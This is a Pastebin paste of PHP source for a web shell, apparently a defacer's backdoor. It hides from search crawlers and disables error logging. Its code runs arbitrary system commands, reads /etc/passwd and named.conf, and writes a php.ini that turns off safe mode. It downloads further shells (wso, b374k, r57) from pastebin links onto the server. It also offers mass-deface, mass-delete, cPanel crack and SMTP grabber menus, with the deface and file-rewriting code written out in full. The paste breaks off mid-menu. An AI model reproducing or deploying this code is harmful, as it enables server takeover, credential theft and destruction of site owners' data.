Guest User

Untitled

a guest
Sep 4th, 2018
860
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 117.83 KB | None | 0 0
  1. <?php
  2. session_start();
  3. error_reporting(0);
  4. set_time_limit(0);
  5. @set_magic_quotes_runtime(0);
  6. @clearstatcache();
  7. @ini_set('error_log',NULL);
  8. @ini_set('log_errors',0);
  9. @ini_set('max_execution_time',0);
  10. @ini_set('output_buffering',0);
  11. @ini_set('display_errors', 0);
  12.  
  13. $auth_pass = "8b712063688bfd433d3362f2633f9a0a";
  14. $color = "#00ff00";
  15. $default_action = 'FilesMan';
  16. $default_use_ajax = true;
  17. $default_charset = 'UTF-8';
  18. if(!empty($_SERVER['HTTP_USER_AGENT'])) {
  19. $userAgents = array("Googlebot", "Slurp", "MSNBot", "PycURL", "facebookexternalhit", "ia_archiver", "crawler", "Yandex", "Rambler", "Yahoo! Slurp", "YahooSeeker", "bingbot");
  20. if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
  21. header('HTTP/1.0 404 Not Found');
  22. exit;
  23. }
  24. }
  25.  
  26. function login_shell() {
  27. ?>
  28. <html>
  29. <head>
  30. <title>halah kontlo</title>
  31. <style type="text/css">
  32. html {
  33. margin: 20px auto;
  34. background: #000000;
  35. color: green;
  36. text-align: center;
  37. }
  38. header {
  39. color: green;
  40. margin: 10px auto;
  41. }
  42. input[type=password] {
  43. width: 250px;
  44. height: 25px;
  45. color: red;
  46. background: #000000;
  47. border: 1px dotted green;
  48. padding: 5px;
  49. margin-left: 20px;
  50. text-align: center;
  51. }
  52. </style>
  53. </head>
  54. <center>
  55. <header>
  56. <img src=http://i.imgur.com/lcc1uDj.gif"/>
  57. <br>
  58. <br>
  59. <form method="post">
  60. <input type="password" name="pass">
  61. </form>
  62. <?php
  63. exit;
  64. }
  65. if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])]))
  66. if( empty($auth_pass) || ( isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass) ) )
  67. $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  68. else
  69. login_shell();
  70. if(isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['act'] == 'download')) {
  71. @ob_clean();
  72. $file = $_GET['file'];
  73. header('Content-Description: File Transfer');
  74. header('Content-Type: application/octet-stream');
  75. header('Content-Disposition: attachment; filename="'.basename($file).'"');
  76. header('Expires: 0');
  77. header('Cache-Control: must-revalidate');
  78. header('Pragma: public');
  79. header('Content-Length: ' . filesize($file));
  80. readfile($file);
  81. exit;
  82. }
  83. ?>
  84. <html>
  85. <head>
  86. <center>
  87. <title>halah kontlo</title>
  88. <meta name='author' content='D4RKNE55'>
  89. <meta charset="UTF-8">
  90. <center><style type='text/css'>
  91. @import url(https://fonts.googleapis.com/css?family=Ubuntu);
  92. html {
  93. background: #000000;
  94. color: #ffffff;
  95. font-family: 'abel';
  96. font-size: 13px;
  97. width: 100%;
  98. }
  99. li {
  100. display: inline;
  101. margin: 5px;
  102. padding: 5px;
  103. }
  104. table, th, td {
  105. border-collapse:collapse;
  106. font-family: Tahoma, Geneva, sans-serif;
  107. background: transparent;
  108. font-family: 'abel';
  109. font-size: 13px;
  110. }
  111. .table_home, .th_home, .td_home {
  112. border: 1px solid #ffffff;
  113. }
  114. th {
  115. padding: 10px;
  116. }
  117. a {
  118. color: #ffffff;
  119. text-decoration: none;
  120. }
  121. a:hover {
  122. color: gold;
  123. text-decoration: underline;
  124. }
  125. b {
  126. color: gold;
  127. }
  128. input[type=text], input[type=password],input[type=submit] {
  129. background: transparent;
  130. color: #ffffff;
  131. border: 1px solid #ffffff;
  132. margin: 5px auto;
  133. padding-left: 5px;
  134. font-family: 'abel';
  135. font-size: 13px;
  136. }
  137. textarea {
  138. border: 1px solid #ffffff;
  139. width: 100%;
  140. height: 400px;
  141. padding-left: 5px;
  142. margin: 10px auto;
  143. resize: none;
  144. background: transparent;
  145. color: #ffffff;
  146. font-family: 'abel';
  147. font-size: 13px;
  148. }
  149. select {
  150. width: 152px;
  151. background: #000000;
  152. color: cyan;
  153. border: 1px solid #ffffff;
  154. margin: 5px auto;
  155. padding-left: 5px;
  156. font-family: 'abel';
  157. font-size: 13px;
  158. }
  159. option:hover {
  160. background: cyan;
  161. color: #000000;
  162. }
  163. </style>
  164. </head>
  165. <center>
  166. <?php
  167. if (file_exists("php.ini")){
  168. }else{
  169. $img = fopen('php.ini', 'w');
  170. $sec = "safe_mode = OFF
  171. disable_funtions = NONE";
  172. fwrite($img ,$sec);
  173. fclose($img);}
  174. function w($dir,$perm) {
  175. if(!is_writable($dir)) {
  176. return "<font color=red>".$perm."</font>";
  177. } else {
  178. return "<font color=lime>".$perm."</font>";
  179. }
  180. }
  181. function exe($cmd) {
  182. if(function_exists('system')) {
  183. @ob_start();
  184. @system($cmd);
  185. $buff = @ob_get_contents();
  186. @ob_end_clean();
  187. return $buff;
  188. } elseif(function_exists('exec')) {
  189. @exec($cmd,$results);
  190. $buff = "";
  191. foreach($results as $result) {
  192. $buff .= $result;
  193. } return $buff;
  194. } elseif(function_exists('passthru')) {
  195. @ob_start();
  196. @passthru($cmd);
  197. $buff = @ob_get_contents();
  198. @ob_end_clean();
  199. return $buff;
  200. } elseif(function_exists('shell_exec')) {
  201. $buff = @shell_exec($cmd);
  202. return $buff;
  203. }
  204. }
  205. function perms($file){
  206. $perms = fileperms($file);
  207. if (($perms & 0xC000) == 0xC000) {
  208. $info = 's';
  209. } elseif (($perms & 0xA000) == 0xA000) {
  210. $info = 'l';
  211. } elseif (($perms & 0x8000) == 0x8000) {
  212. $info = '-';
  213. } elseif (($perms & 0x6000) == 0x6000) {
  214. $info = 'b';
  215. } elseif (($perms & 0x4000) == 0x4000) {
  216. $info = 'd';
  217. } elseif (($perms & 0x2000) == 0x2000) {
  218. $info = 'c';
  219. } elseif (($perms & 0x1000) == 0x1000) {
  220. $info = 'p';
  221. } else {
  222. $info = 'u';
  223. }
  224. $info .= (($perms & 0x0100) ? 'r' : '-');
  225. $info .= (($perms & 0x0080) ? 'w' : '-');
  226. $info .= (($perms & 0x0040) ?
  227. (($perms & 0x0800) ? 's' : 'x' ) :
  228. (($perms & 0x0800) ? 'S' : '-'));
  229. $info .= (($perms & 0x0020) ? 'r' : '-');
  230. $info .= (($perms & 0x0010) ? 'w' : '-');
  231. $info .= (($perms & 0x0008) ?
  232. (($perms & 0x0400) ? 's' : 'x' ) :
  233. (($perms & 0x0400) ? 'S' : '-'));
  234. $info .= (($perms & 0x0004) ? 'r' : '-');
  235. $info .= (($perms & 0x0002) ? 'w' : '-');
  236. $info .= (($perms & 0x0001) ?
  237. (($perms & 0x0200) ? 't' : 'x' ) :
  238. (($perms & 0x0200) ? 'T' : '-'));
  239. return $info;
  240. }
  241. function hdd($s) {
  242. if($s >= 1073741824)
  243. return sprintf('%1.2f',$s / 1073741824 ).' GB';
  244. elseif($s >= 1048576)
  245. return sprintf('%1.2f',$s / 1048576 ) .' MB';
  246. elseif($s >= 1024)
  247. return sprintf('%1.2f',$s / 1024 ) .' KB';
  248. else
  249. return $s .' B';
  250. }
  251. function ambilKata($param, $kata1, $kata2){
  252. if(strpos($param, $kata1) === FALSE) return FALSE;
  253. if(strpos($param, $kata2) === FALSE) return FALSE;
  254. $start = strpos($param, $kata1) + strlen($kata1);
  255. $end = strpos($param, $kata2, $start);
  256. $return = substr($param, $start, $end - $start);
  257. return $return;
  258. }
  259. if(get_magic_quotes_gpc()) {
  260. function idx_ss($array) {
  261. return is_array($array) ? array_map('idx_ss', $array) : stripslashes($array);
  262. }
  263. $_POST = idx_ss($_POST);
  264. }
  265. function CreateTools($names,$lokasi){
  266. if ( $_GET['create'] == $names ){
  267. $a= "".$_SERVER['SERVER_NAME']."";
  268. $b= dirname($_SERVER['PHP_SELF']);
  269. $c = "/cox_tools/".$names.".php";
  270. if (file_exists('cox_tools/'.$names.'.php')){
  271. echo '<script type="text/javascript">alert("Done");window.location.href = "cox_tools/'.$names.'.php";</script> ';
  272. }
  273. else {mkdir("cox_tools", 0777);
  274. file_put_contents('cox_tools/'.$names.'.php', file_get_contents($lokasi));
  275. echo ' <script type="text/javascript">alert("Done");window.location.href = "cox_tools/'.$names.'.php";</script> ';}}}
  276.  
  277. CreateTools("wso","http://pastebin.com/raw/3eh3Gej2");
  278. CreateTools("adminer"."https://www.adminer.org/static/download/4.2.5/adminer-4.2.5.php");
  279. CreateTools("b374k","http://pastebin.com/raw/rZiyaRGV");
  280. CreateTools("injection","http://pastebin.com/raw/nxxL8c1f");
  281. CreateTools("promailerv2","http://pastebin.com/raw/Rk9v6eSq");
  282. CreateTools("gamestopceker","http://pastebin.com/raw/QSnw1JXV");
  283. CreateTools("bukapalapak","http://pastebin.com/raw/6CB8krDi");
  284. CreateTools("tokopedia","http://pastebin.com/dvhzWgby");
  285. CreateTools("encodedecode","http://pastebin.com/raw/wqB3G5eZ");
  286. CreateTools("mailer","http://pastebin.com/raw/9yu1DmJj");
  287. CreateTools("r57","http://pastebin.com/raw/G2VEDunW");
  288. CreateTools("tokenpp","http://pastebin.com/raw/72xgmtPL");
  289. CreateTools("extractor","http://pastebin.com/raw/jQnMFHBL");
  290. CreateTools("bh","http://pastebin.com/raw/3L2ESWeu");
  291. CreateTools("dhanus","http://pastebin.com/raw/v4xGus6X");
  292. if(isset($_GET['dir'])) {
  293. $dir = $_GET['dir'];
  294. chdir($_GET['dir']);
  295. } else {
  296. $dir = getcwd();
  297. }
  298. $dir = str_replace("\\","/",$dir);
  299. $scdir = explode("/", $dir);
  300. $sm = (@ini_get(strtolower("safe_mode")) == 'on') ? "<font color=red>ON</font>" : "<font color=lime>OFF</font>";
  301. $ling="http://".$_SERVER['SERVER_NAME']."".$_SERVER['PHP_SELF']."?create";
  302. $ds = @ini_get("disable_functions");
  303. $mysql = (function_exists('mysql_connect')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
  304. $curl = (function_exists('curl_version')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
  305. $wget = (exe('wget --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
  306. $perl = (exe('perl --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
  307. $python = (exe('python --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
  308. $show_ds = (!empty($ds)) ? "<font color=red>$ds</font>" : "<font color=lime>NONE</font>";
  309. if(!function_exists('posix_getegid')) {
  310. $user = @get_current_user();
  311. $uid = @getmyuid();
  312. $gid = @getmygid();
  313. $group = "?";
  314. } else {
  315. $uid = @posix_getpwuid(posix_geteuid());
  316. $gid = @posix_getgrgid(posix_getegid());
  317. $user = $uid['name'];
  318. $uid = $uid['uid'];
  319. $group = $gid['name'];
  320. $gid = $gid['gid'];
  321. }
  322. $d0mains = @file("/etc/named.conf");
  323. $users=@file('/etc/passwd');
  324. if($d0mains)
  325. {
  326. $count;
  327. foreach($d0mains as $d0main)
  328. {
  329. if(@ereg("zone",$d0main))
  330. {
  331. preg_match_all('#zone "(.*)"#', $d0main, $domains);
  332. flush();
  333. if(strlen(trim($domains[1][0])) > 2)
  334. {
  335. flush();
  336. $count++;
  337. }
  338. }
  339. }
  340. }
  341.  
  342. $sport=$_SERVER['SERVER_PORT'];
  343. echo "<table style='width:100%'>";
  344. echo "<tr><td>System: <font color=lime>".php_uname()."</font></td></tr>";
  345. echo "<tr><td>User: <font color=lime>".$user."</font> (".$uid.") Group: <font color=lime>".$group."</font> (".$gid.")</td></tr>";
  346. echo "<tr><td>Server IP: <font color=lime>".gethostbyname($_SERVER['HTTP_HOST'])."</font> | Your IP: <font color=lime>".$_SERVER['REMOTE_ADDR']."</font></td></tr>";
  347. echo "<tr><td>HDD: <font color=lime>".hdd(disk_free_space("/"))."</font> / <font color=lime>".hdd(disk_total_space("/"))."</font></td></tr>";
  348. echo "<tr><td>Websites :<font color=lime> $count </font> Domains</td></tr>";
  349. echo "<tr><td>Port :<font color=lime> $sport</font> </td></tr>";
  350. echo "<tr><td>Safe Mode: $sm</td></tr>";
  351. echo "<tr><td>Disable Functions: $show_ds</td></tr>";
  352. echo "<tr><td>MySQL: $mysql | Perl: $perl | Python: $python | WGET: $wget | CURL: $curl </td></tr>";
  353. echo "<tr><td>Current DIR: ";
  354. foreach($scdir as $c_dir => $cdir) {
  355. echo "<a href='?dir=";
  356. for($i = 0; $i <= $c_dir; $i++) {
  357. echo $scdir[$i];
  358. if($i != $c_dir) {
  359. echo "/";
  360. }
  361. }
  362. echo "'>$cdir</a>/";
  363. }
  364. echo "</td></tr></table><hr>";
  365. echo "<center>";
  366. echo "<ul>";
  367. echo "<li>[ <a href='?'>Home</a> ]</li>";
  368. echo "<li>[ <a href='?dir=$dir&do=upload'>Upload</a> ]</li>";
  369. echo "<li>[ <a href='?dir=$dir&do=cmd'>Command</a> ]</li>";
  370. echo "<li>[ <a href='?dir=$dir&do=mass_deface'>Mass Deface</a> ]</li>";
  371. echo "<li>[ <a href='?dir=$dir&do=config'>Config</a> ]</li>";
  372. echo "<li>[ <a href='?dir=$dir&do=lcf'>LiteSpeed Config</a> ]</li>";
  373. echo "<li>[ <a href='?dir=$dir&do=jumping'>Jumping</a> ]</li>";
  374. echo "<li>[ <a href='?dir=$dir&do=symlink'>Symlink</a> ]<br></li>";
  375. echo "<li>[ <a href='?dir=$dir&do=cpanel'>CPanel Crack</a> ]</li>";
  376. echo "<li>[ <a href='?dir=$dir&do=smtp'>SMTP Grabber</a> ]</li>";
  377. echo "<li>[ <a href='?dir=$dir&do=zoneh'>Zone-H</a> ]</li>";
  378. echo "<li>[ <a href='?dir=$dir&do=defacerid'>Defacer.ID</a> ]</li>";
  379. echo "<li>[ <a href='?dir=$dir&do=cgi'>CGI Telnet</a> ]</li><br>";
  380. echo "<li>[ <a href='?dir=$dir&do=adminer'>Adminer</a> ]</li>";
  381. echo "<li>[ <a href='?dir=$dir&do=fake_root'>Fake Root</a> ]</li>";
  382. echo "<li>[ <a href='?dir=$dir&do=auto_edit_user'>Auto Edit User</a> ]</li>";
  383. echo "<li>[ <a href='?dir=$dir&do=auto_wp'>Auto Edit Title WordPress</a> ]</li>";
  384. echo "<li>[ <a href='?dir=$dir&do=auto_dwp'>WordPress Auto Deface</a> ]</li>";
  385. echo "<li>[ <a href='?dir=$dir&do=auto_dwp2'>WordPress Auto Deface V.2</a> ]</li>";
  386. echo "<li>[ <a href='?dir=$dir&do=passwbypass'>Bypass etc/passw</a> ]<br></li>";
  387. echo "<li>[ <a href='?dir=$dir&do=loghunter'>Log Hunter</a> ]</li>";
  388. echo "<li>[ <a href='?dir=$dir&do=shellchk'>Shell Checker</a> ]</li>";
  389. echo "<li>[ <a href='?dir=$dir&do=shelscan'>Shell Finder</a> ]</li>";
  390. echo "<li>[ <a href='?dir=$dir&do=zip'>Zip Menu</a> ]</li>";
  391. echo "<li>[ <a href='?dir=$dir&do=about'>About</a> ]</li>";
  392. echo "<li>[ <a href='?dir=$dir&do=metu'>LogOut</a> ]<br></li>";
  393. echo "</ul>";
  394. echo "</center>";
  395. echo "<hr>";
  396. if($_GET['do'] == 'upload') {
  397. echo "<center>";
  398. if($_POST['upload']) {
  399. if($_POST['tipe_upload'] == 'biasa') {
  400. if(@copy($_FILES['ix_file']['tmp_name'], "$dir/".$_FILES['ix_file']['name']."")) {
  401. $act = "<font color=lime>Uploaded!</font> at <i><b>$dir/".$_FILES['ix_file']['name']."</b></i>";
  402. } else {
  403. $act = "<font color=red>failed to upload file</font>";
  404. }
  405. } else {
  406. $root = $_SERVER['DOCUMENT_ROOT']."/".$_FILES['ix_file']['name'];
  407. $web = $_SERVER['HTTP_HOST']."/".$_FILES['ix_file']['name'];
  408. if(is_writable($_SERVER['DOCUMENT_ROOT'])) {
  409. if(@copy($_FILES['ix_file']['tmp_name'], $root)) {
  410. $act = "<font color=lime>Uploaded!</font> at <i><b>$root -> </b></i><a href='http://$web' target='_blank'>$web</a>";
  411. } else {
  412. $act = "<font color=red>failed to upload file</font>";
  413. }
  414. } else {
  415. $act = "<font color=red>failed to upload file</font>";
  416. }
  417. }
  418. }
  419. echo "Upload File:
  420. <form method='post' enctype='multipart/form-data'>
  421. <input type='radio' name='tipe_upload' value='biasa' checked>Biasa [ ".w($dir,"Writeable")." ]
  422. <input type='radio' name='tipe_upload' value='home_root'>home_root [ ".w($_SERVER['DOCUMENT_ROOT'],"Writeable")." ]<br>
  423. <input type='file' name='ix_file'>
  424. <input type='submit' value='upload' name='upload'>
  425. </form>";
  426. echo $act;
  427. echo "</center>";
  428. }
  429. elseif($_GET['do'] == 'cmd') {
  430. echo "<form method='post'>
  431. <font style='text-decoration: underline;'>".$user."@".gethostbyname($_SERVER['HTTP_HOST']).":~# </font>
  432. <input type='text' size='30' height='10' name='cmd'><input type='submit' name='do_cmd' value='>>'>
  433. </form>";
  434. if($_POST['do_cmd']) {
  435. echo "<pre>".exe($_POST['cmd'])."</pre>";
  436. }
  437. } elseif($_GET['do'] == 'mass_deface') {
  438. echo "<center><form action=\"\" method=\"post\">\
  439. ";
  440. $dirr=$_POST['d_dir'];
  441. $index = $_POST["script"];
  442. $index = str_replace('"',"'",$index);
  443. $index = stripslashes($index);
  444. function edit_file($file,$index){
  445. if (is_writable($file)) {
  446. clear_fill($file,$index);
  447. echo "<Span style='color:green;'><strong> [+] Nyabun 100% Successfull </strong></span><br></center>";
  448. }
  449. else {
  450. echo "<Span style='color:red;'><strong> [-] Ternyata Tidak Boleh Menyabun Disini :( </strong></span><br></center>";
  451. }
  452. }
  453. function hapus_massal($dir,$namafile) {
  454. if(is_writable($dir)) {
  455. $dira = scandir($dir);
  456. foreach($dira as $dirb) {
  457. $dirc = "$dir/$dirb";
  458. $lokasi = $dirc.'/'.$namafile;
  459. if($dirb === '.') {
  460. if(file_exists("$dir/$namafile")) {
  461. unlink("$dir/$namafile");
  462. }
  463. } elseif($dirb === '..') {
  464. if(file_exists("".dirname($dir)."/$namafile")) {
  465. unlink("".dirname($dir)."/$namafile");
  466. }
  467. } else {
  468. if(is_dir($dirc)) {
  469. if(is_writable($dirc)) {
  470. if(file_exists($lokasi)) {
  471. echo "[<font color=lime>DELETED</font>] $lokasi<br>";
  472. unlink($lokasi);
  473. $idx = hapus_massal($dirc,$namafile);
  474. }
  475. }
  476. }
  477. }
  478. }
  479. }
  480. }
  481. function clear_fill($file,$index){
  482. if(file_exists($file)){
  483. $handle = fopen($file,'w');
  484. fwrite($handle,'');
  485. fwrite($handle,$index);
  486. fclose($handle); } }
  487.  
  488. function gass(){
  489. global $dirr , $index ;
  490. chdir($dirr);
  491. $me = str_replace(dirname(__FILE__).'/','',__FILE__);
  492. $files = scandir($dirr) ;
  493. $notallow = array(".htaccess","error_log","_vti_inf.html","_private","_vti_bin","_vti_cnf","_vti_log","_vti_pvt","_vti_txt","cgi-bin",".contactemail",".cpanel",".fantasticodata",".htpasswds",".lastlogin","access-logs","cpbackup-exclude-used-by-backup.conf",".cgi_auth",".disk_usage",".statspwd","..",".");
  494. sort($files);
  495. $n = 0 ;
  496. foreach ($files as $file){
  497. if ( $file != $me && is_dir($file) != 1 && !in_array($file, $notallow) ) {
  498. echo "<center><Span style='color: #8A8A8A;'><strong>$dirr/</span>$file</strong> ====> ";
  499. edit_file($file,$index);
  500. flush();
  501. $n = $n +1 ;
  502. }
  503. }
  504. echo "<br>";
  505. echo "<center><br><h3>$n Kali Anda Telah Ngecrot Disini </h3></center><br>";
  506. }
  507. function ListFiles($dirrall) {
  508.  
  509. if($dh = opendir($dirrall)) {
  510.  
  511. $files = Array();
  512. $inner_files = Array();
  513. $me = str_replace(dirname(__FILE__).'/','',__FILE__);
  514. $notallow = array($me,".htaccess","error_log","_vti_inf.html","_private","_vti_bin","_vti_cnf","_vti_log","_vti_pvt","_vti_txt","cgi-bin",".contactemail",".cpanel",".fantasticodata",".htpasswds",".lastlogin","access-logs","cpbackup-exclude-used-by-backup.conf",".cgi_auth",".disk_usage",".statspwd","Thumbs.db");
  515. while($file = readdir($dh)) {
  516. if($file != "." && $file != ".." && $file[0] != '.' && !in_array($file, $notallow) ) {
  517. if(is_dir($dirrall . "/" . $file)) {
  518. $inner_files = ListFiles($dirrall . "/" . $file);
  519. if(is_array($inner_files)) $files = array_merge($files, $inner_files);
  520. } else {
  521. array_push($files, $dirrall . "/" . $file);
  522. }
  523. }
  524. }
  525.  
  526. closedir($dh);
  527. return $files;
  528. }
  529. }
  530. function gass_all(){
  531. global $index ;
  532. $dirrall=$_POST['d_dir'];
  533. foreach (ListFiles($dirrall) as $key=>$file){
  534. $file = str_replace('//',"/",$file);
  535. echo "<center><strong>$file</strong> ===>";
  536. edit_file($file,$index);
  537. flush();
  538. }
  539. $key = $key+1;
  540. echo "<center><br><h3>$key Kali Anda Telah Ngecrot Disini </h3></center><br>"; }
  541. function sabun_massal($dir,$namafile,$isi_script) {
  542. if(is_writable($dir)) {
  543. $dira = scandir($dir);
  544. foreach($dira as $dirb) {
  545. $dirc = "$dir/$dirb";
  546. $lokasi = $dirc.'/'.$namafile;
  547. if($dirb === '.') {
  548. file_put_contents($lokasi, $isi_script);
  549. } elseif($dirb === '..') {
  550. file_put_contents($lokasi, $isi_script);
  551. } else {
  552. if(is_dir($dirc)) {
  553. if(is_writable($dirc)) {
  554. echo "[<font color=lime>DONE</font>] $lokasi<br>";
  555. file_put_contents($lokasi, $isi_script);
  556. $idx = sabun_massal($dirc,$namafile,$isi_script);
  557. }
  558. }
  559. }
  560. }
  561. }
  562. }
  563. if($_POST['mass'] == 'onedir') {
  564. echo "<br> Versi Text Area<br><textarea style='background:black;outline:none;color:red;' name='index' rows='10' cols='67'>\
  565. ";
  566. $ini="http://";
  567. $mainpath=$_POST[d_dir];
  568. $file=$_POST[d_file];
  569. $dir=opendir("$mainpath");
  570. $code=base64_encode($_POST[script]);
  571. $indx=base64_decode($code);
  572. while($row=readdir($dir)){
  573. $start=@fopen("$row/$file","w+");
  574. $finish=@fwrite($start,$indx);
  575. if ($finish){
  576. echo"$ini$row/$file\
  577. ";
  578. }
  579. }
  580. echo "</textarea><br><br><br><b>Versi Text</b><br><br><br>\
  581. ";
  582. $mainpath=$_POST[d_dir];$file=$_POST[d_file];
  583. $dir=opendir("$mainpath");
  584. $code=base64_encode($_POST[script]);
  585. $indx=base64_decode($code);
  586. while($row=readdir($dir)){$start=@fopen("$row/$file","w+");
  587. $finish=@fwrite($start,$indx);
  588. if ($finish){echo '<a href="http://' . $row . '/' . $file . '" target="_blank">http://' . $row . '/' . $file . '</a><br>'; }
  589. }
  590.  
  591. }
  592. elseif($_POST['mass'] == 'sabunkabeh') { gass(); }
  593. elseif($_POST['mass'] == 'hapusmassal') { hapus_massal($_POST['d_dir'], $_POST['d_file']); }
  594. elseif($_POST['mass'] == 'sabunmematikan') { gass_all(); }
  595. elseif($_POST['mass'] == 'massdeface') {
  596. echo "<div style='margin: 5px auto; padding: 5px'>";
  597. sabun_massal($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
  598. echo "</div>"; }
  599. else {
  600. echo "
  601. <center><font style='text-decoration: underline;'>
  602. Select Type:<br>
  603. </font>
  604. <select class=\"select\" name=\"mass\" style=\"width: 450px;\" height=\"10\">
  605. <option value=\"onedir\">Mass Deface 1 Dir</option>
  606. <option value=\"massdeface\">Mass Deface ALL Dir</option>
  607. <option value=\"sabunkabeh\">Sabun Massal Di Tempat</option>
  608. <option value=\"sabunmematikan\">Sabun Massal Bunuh Diri</option>
  609. <option value=\"hapusmassal\">Mass Delete Files</option></center></select><br>
  610. <font style='text-decoration: underline;'>Folder:</font><br>
  611. <input type='text' name='d_dir' value='$dir' style='width: 450px;' height='10'><br>
  612. <font style='text-decoration: underline;'>Filename:</font><br>
  613. <input type='text' name='d_file' value='monkey.php' style='width: 450px;' height='10'><br>
  614. <font style='text-decoration: underline;'>Index File:</font><br>
  615. <textarea name='script' style='width: 450px; height: 200px;'>Hacked By Monkey B Luffy</textarea><br>
  616. <input type='submit' name='start' value='Mass Deface' style='width: 450px;'>
  617. </form></center>";
  618. }
  619. }
  620. elseif($_GET['do'] == 'zip') {
  621. echo "<center><h1>Zip Menu</h1>";
  622. function rmdir_recursive($dir) {
  623. foreach(scandir($dir) as $file) {
  624. if ('.' === $file || '..' === $file) continue;
  625. if (is_dir("$dir/$file")) rmdir_recursive("$dir/$file");
  626. else unlink("$dir/$file");
  627. }
  628. rmdir($dir);
  629. }
  630. if($_FILES["zip_file"]["name"]) {
  631. $filename = $_FILES["zip_file"]["name"];
  632. $source = $_FILES["zip_file"]["tmp_name"];
  633. $type = $_FILES["zip_file"]["type"];
  634. $name = explode(".", $filename);
  635. $accepted_types = array('application/zip', 'application/x-zip-compressed', 'multipart/x-zip', 'application/x-compressed');
  636. foreach($accepted_types as $mime_type) {
  637. if($mime_type == $type) {
  638. $okay = true;
  639. break;
  640. }
  641. }
  642. $continue = strtolower($name[1]) == 'zip' ? true : false;
  643. if(!$continue) {
  644. $message = "Itu Bukan Zip , , GOBLOK COK";
  645. }
  646. $path = dirname(__FILE__).'/';
  647. $filenoext = basename ($filename, '.zip');
  648. $filenoext = basename ($filenoext, '.ZIP');
  649. $targetdir = $path . $filenoext;
  650. $targetzip = $path . $filename;
  651. if (is_dir($targetdir)) rmdir_recursive ( $targetdir);
  652. mkdir($targetdir, 0777);
  653. if(move_uploaded_file($source, $targetzip)) {
  654. $zip = new ZipArchive();
  655. $x = $zip->open($targetzip);
  656. if ($x === true) {
  657. $zip->extractTo($targetdir);
  658. $zip->close();
  659.  
  660. unlink($targetzip);
  661. }
  662. $message = "<b>Sukses Gan :)</b>";
  663. } else {
  664. $message = "<b>Error Gan :(</b>";
  665. }
  666. }
  667. echo '<table style="width:100%" border="1">
  668. <tr><td><h2>Upload And Unzip</h2><form enctype="multipart/form-data" method="post" action="">
  669. <label>Zip File : <input type="file" name="zip_file" /></label>
  670. <input type="submit" name="submit" value="Upload And Unzip" />
  671. </form>';
  672. if($message) echo "<p>$message</p>";
  673. echo "</td><td><h2>Zip Backup</h2><form action='' method='post'><font style='text-decoration: underline;'>Folder:</font><br><input type='text' name='dir' value='$dir' style='width: 450px;' height='10'><br><font style='text-decoration: underline;'>Save To:</font><br><input type='text' name='save' value='$dir/cox_backup.zip' style='width: 450px;' height='10'><br><input type='submit' name='backup' value='BackUp!' style='width: 215px;'></form>";
  674. if($_POST['backup']){
  675. $save=$_POST['save'];
  676. function Zip($source, $destination)
  677. {
  678. if (extension_loaded('zip') === true)
  679. {
  680. if (file_exists($source) === true)
  681. {
  682. $zip = new ZipArchive();
  683.  
  684. if ($zip->open($destination, ZIPARCHIVE::CREATE) === true)
  685. {
  686. $source = realpath($source);
  687.  
  688. if (is_dir($source) === true)
  689. {
  690. $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source), RecursiveIteratorIterator::SELF_FIRST);
  691.  
  692. foreach ($files as $file)
  693. {
  694. $file = realpath($file);
  695.  
  696. if (is_dir($file) === true)
  697. {
  698. $zip->addEmptyDir(str_replace($source . '/', '', $file . '/'));
  699. }
  700.  
  701. else if (is_file($file) === true)
  702. {
  703. $zip->addFromString(str_replace($source . '/', '', $file), file_get_contents($file));
  704. }
  705. }
  706. }
  707.  
  708. else if (is_file($source) === true)
  709. {
  710. $zip->addFromString(basename($source), file_get_contents($source));
  711. }
  712. }
  713.  
  714. return $zip->close();
  715. }
  716. }
  717.  
  718. return false;
  719. }
  720. Zip($_POST['dir'],$save);
  721. echo "Done , Save To <b>$save</b>";
  722. }
  723. echo "</td><td><h2>Unzip Manual</h2><form action='' method='post'><font style='text-decoration: underline;'>Zip Location:</font><br><input type='text' name='dir' value='$dir/file.zip' style='width: 450px;' height='10'><br><font style='text-decoration: underline;'>Save To:</font><br><input type='text' name='save' value='$dir/cox_unzip' style='width: 450px;' height='10'><br><input type='submit' name='extrak' value='Unzip!' style='width: 215px;'></form>";
  724. if($_POST['extrak']){
  725. $save=$_POST['save'];
  726. $zip = new ZipArchive;
  727. $res = $zip->open($_POST['dir']);
  728. if ($res === TRUE) {
  729. $zip->extractTo($save);
  730. $zip->close();
  731. echo 'Succes , Location : <b>'.$save.'</b>';
  732. } else {
  733. echo 'Gagal Mas :( Ntahlah !';
  734. }
  735. }
  736. echo '</tr></table>';
  737. }
  738. elseif($_GET['do'] == 'shellchk') {
